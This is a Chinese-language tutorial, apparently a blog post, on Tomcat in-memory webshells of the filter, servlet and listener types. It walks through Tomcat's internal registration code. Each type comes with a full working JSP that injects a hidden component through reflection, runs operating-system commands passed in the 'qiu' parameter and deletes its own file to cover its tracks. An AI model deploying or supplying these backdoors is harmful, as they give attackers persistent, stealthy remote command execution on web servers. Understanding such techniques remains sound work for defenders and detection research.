一、Tomcat三种内存马
首先了解下tomcat的三种内存马的原理和简单实用
filter型内存马
Tomcat filter注册流程
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。
调试跟入可以在堆栈中看到filterChain,我们接着查看哪里创建了它
在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法
可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中
前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern
后面继续跟入这个循环中,这个循环就是遍历filterMaps
,去匹配当前请求的url与filterMap
中的urlpatter
,如果相就进入if调用findFilterConfig
方法找到对应FilterName的filterConfig
。如果filterConfig
不为空就进入addFilter,我们继续跟入
可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量
最终遍历完出来就完成了filterChain
的一个组装
回到StandardWrapperValve中调用
跟进发现它又会调用internalDoFilter
方法
这里会获取到所有的filterConfig
然后依次进入到我们定义的doFilter
方法中执行
我们跟据这个图理解filterConfig、filterMaps、filterDefs
其中filterConfigs也存放了context,两个context是一样的
根据上面的分析我们了解到,如果要实现filter类型内存马
大致流程如下:
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.File" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "Qiu";// 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//获取filterConfigsField Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);//判断没有被注册if (filterConfigs.get(name) == null) {// 创建恶意的filterFilter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest request1 = (HttpServletRequest) servletRequest;if (request1.getParameter("qiu") != null) {byte[] bytes = new byte[1024];Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}}@Overridepublic void destroy() {}};//获取filterDef,设置filter、类名、类FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());//将filterDef添加进入filterDefsstandardContext.addFilterDef(filterDef);//获取filterMap,设置UrlPattern、类名FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);//因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3filterMap.setDispatcher(DispatcherType.REQUEST.name());//调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位standardContext.addFilterMapBefore(filterMap);//利用反射创建filterConfigs,并添加filterDef和StandardContextConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将filterConfig放入filterConfigs中filterConfigs.put(name, filterConfig);out.println("Hack success!");//文件自毁(new File(application.getRealPath(request.getServletPath()))).delete();}
%>
Servlet型内存马
这里我们直接看实现类 ApplicationContext
的 addServlet
方法。
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map initParams) throws IllegalStateException {//servlet不为空if (servletName != null && !servletName.equals("")) {this.checkState("applicationContext.addServlet.ise");//根据name在context中的children中找到wrapperWrapper wrapper = (Wrapper)this.context.findChild(servletName);//如果wrapper不存在则创建if (wrapper == null) {wrapper = this.context.createWrapper();wrapper.setName(servletName);//添加到context的children中this.context.addChild(wrapper);} else if (wrapper.getName() != null && wrapper.getServletClass() != null) {if (!wrapper.isOverridable()) {return null;}wrapper.setOverridable(false);}//都是为了设置servletClassServletSecurity annotation = null;if (servlet == null) {wrapper.setServletClass(servletClass);Class<?> clazz = Introspection.loadClass(this.context, servletClass);if (clazz != null) {annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);}} else {wrapper.setServletClass(servlet.getClass().getName());wrapper.setServlet(servlet);if (this.context.wasCreatedDynamicServlet(servlet)) {annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);}}if (initParams != null) {Iterator var9 = initParams.entrySet().iterator();while(var9.hasNext()) {Map.Entry initParam = (Map.Entry)var9.next();wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());}}//用ApplicationServletRegistration创建对象并返回ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);if (annotation != null) {registration.setServletSecurity(new ServletSecurityElement(annotation));}return registration;} else {throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));}}
接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法
public Set addMapping(String... urlPatterns) {if (urlPatterns == null) {//为空返回一个不可变的Set对象return Collections.emptySet();} else {Set conflicts = new HashSet();String[] var3 = urlPatterns;int var4 = urlPatterns.length;int var5;String urlPattern;//遍历urlPatterns数组,就是一个去重操走for(var5 = 0; var5 < var4; ++var5) {urlPattern = var3[var5];String wrapperName = this.context.findServletMapping(urlPattern);if (wrapperName != null) {Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName);if (wrapper.isOverridable()) {this.context.removeServletMapping(urlPattern);} else {conflicts.add(urlPattern);}}}if (!conflicts.isEmpty()) {return conflicts;} else {var3 = urlPatterns;var4 = urlPatterns.length;//向context中添加urlPattern和对应的wrapperfor(var5 = 0; var5 < var4; ++var5) {urlPattern = var3[var5];this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName());}if (this.constraint != null) {this.context.addServletSecurity(this, this.constraint);}return Collections.emptySet();}}}
注意到向context中添加URL和对应的wrapper中调用了一个addServletMappingDecoded
方法
通过这个方法向servletMappings
添加处理后的,urlPattern和name
所以创建servlet内存马的步骤和之前类似,可以分为
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
- 同时在 servletMappings 中添加 URL 路径与 name 的映射。
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%><%// 创建恶意Servletclass QiuServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {HttpServletRequest request1 = (HttpServletRequest) req;HttpServletResponse response1 = (HttpServletResponse) resp;if (request1.getParameter("qiu") != null) {byte[] bytes = new byte[1024];Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));int len = process.getInputStream().read(bytes);resp.getWriter().write(new String(bytes,0,len));process.destroy();return;}else {response1.sendError(HttpServletResponse.SC_NOT_FOUND);}}@Overridepublic void destroy() {}}final String name = "Qiu";// 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//用Wrapper对其进行封装QiuServlet qiuServlet = new QiuServlet();org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();qiuWrapper.setName(name);qiuWrapper.setLoadOnStartup(1);qiuWrapper.setServlet(qiuServlet);qiuWrapper.setServletClass(qiuServlet.getClass().getName());//添加封装后的恶意Wrapper到StandardContext的children当中standardContext.addChild(qiuWrapper);// 同时在 servletMappings 中添加 URL 路径与 name 的映射standardContext.addServletMappingDecoded("/Qiu", name);out.println("Hack success!");//销毁(new File(application.getRealPath(request.getServletPath()))).delete();%>
Listener型内存马
- ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
- ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
- ServletRequestListener:对 Request 请求进行监听(创建、销毁)
- ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
- javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
- javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。
我们在requestInitialized
处打个断点
查看栈帧定位到StandardHostValve的invoke方法
我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得
listener存放在applicationEventListenersList属性中
我们同样在StandardContext中找到相关的add方法
所以listener型的内存马注入很简单,就两步
- 创建恶意listener
- 将恶意listener添加到applicationEventListener中
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.File" %><%//创建恶意listenerclass QiuListener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent sre) {HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();if (req.getParameter("qiu") != null) {InputStream in = null;boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}try {String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")};in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner scanner = new Scanner(in).useDelimiter("\\A" );String out = scanner.hasNext() ? scanner.next() : "";Field requestFiled = req.getClass().getDeclaredField("request" );requestFiled.setAccessible(true);Request request = (Request) requestFiled.get(req);request.getResponse().getWriter().write(out);}catch (Exception e) {}}}@Overridepublic void requestInitialized(ServletRequestEvent sre) {}}// 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//将恶意listener添加到applicationEventListener中QiuListener qiuListener = new QiuListener();standardContext.addApplicationEventListener(qiuListener);out.println("Hack success!");
// //销毁(new File(application.getRealPath(request.getServletPath()))).delete();%>
Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。